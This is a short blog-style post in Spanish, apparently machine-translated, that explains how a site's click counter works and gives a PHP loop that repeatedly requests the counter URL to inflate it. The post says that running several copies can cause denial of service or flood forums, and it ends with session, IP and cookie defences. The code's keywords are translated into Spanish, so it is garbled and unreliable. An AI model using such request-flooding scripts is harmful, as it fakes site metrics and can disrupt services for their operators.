Hoy vi accidentalmente un sitio web cuyo contador se puede actualizar en una página estática. Pensé que debería hacerse usando js. Cuando abrí el código fuente, resultó ser:
<div align=center><SPAN class=Article_tdbgall>.
Autor: Desconocido Fuente del artículo: Meidi.Net
Número de clics:
<script language='javascript' src='/Article/GetHits.asp?ArticleID=759'></script>
Hora de actualización: 2005-5-27</SPAN>
</div>
El número de clics va seguido de un archivo asp para su procesamiento, así que abriré este archivo y echaré un vistazo:
document.write
('210');
extrae los resultados y genera el número de veces: documento .write ('número de veces'), al que se puede hacer referencia directamente en la página estática.
Los malos son malos después de todo, así que pensé: ¿cómo puedo aumentar rápidamente el número de clics? La actualización manual no es muy útil. Bueno, escriba rápidamente un programa PHP para acceder automáticamente a este archivo.
El código PHP es el siguiente:
<?php
/* acceso_url.php */
define(SUM, 1000); //Número de visitas requeridas
define(L_TIME, 1000); //Forzar tiempo de ejecución del script
define(S_TIME, 1); //Tiempo de sueño entre cada visita
$url = " http://www.xxx.com/Article/GetHits.asp?ArticleID=759 " //La dirección a la que se accederá
set_time_limit(L_TIME);
//Accede a la función URL especificada knowsky.com;
función acceso_url($url)
{
si ($url=='') devuelve falso;
$fp = fopen($url, 'r') o exit('¡Error al abrir la URL!');
si ($fp) {
mientras (!feof($fp)) {
$archivo = fgets($fp);
echo $archivo."n<p> </p>n";
}
desarmado($archivo);
}
}
//Prueba
para ($i=0; $i<SUM; $i++) {
acceso_url ($url);
dormir(S_TIME);
}
?>
Ejecute el programa anterior, luego se accederá continuamente a la dirección URL especificada y, naturalmente, el número de accesos seguirá aumentando, logrando el efecto de inundación. Si el tráfico es grande y se utilizan varios programas para ejecutarlo, es fácil lograr un efecto de denegación de servicio (DoS). Si la otra parte toma medidas preventivas, modifica el código y lo envía al foro, es fácil lograr el efecto de inundar el foro.
Métodos de prevención:
1. Utilice el mecanismo de sesión en el código. Cuando el usuario envía, se genera una ID de sesión. Al enviar el contenido, se juzga si se ha enviado. Si se ha enviado, no se permite el cepillado.
2. Después de que el usuario envía, se registra su dirección IP. Si el usuario vuelve a enviar dentro del tiempo especificado, no se permiten más envíos.
3. Después de que el usuario envía el contenido, se escribe una cookie en el cliente del usuario. Si el usuario envía nuevamente, verifique si hay una cookie en el cliente para determinar si el envío está permitido.
Hay muchas otras formas, puedes buscarlas o usar tu imaginación para hacerlo mejor.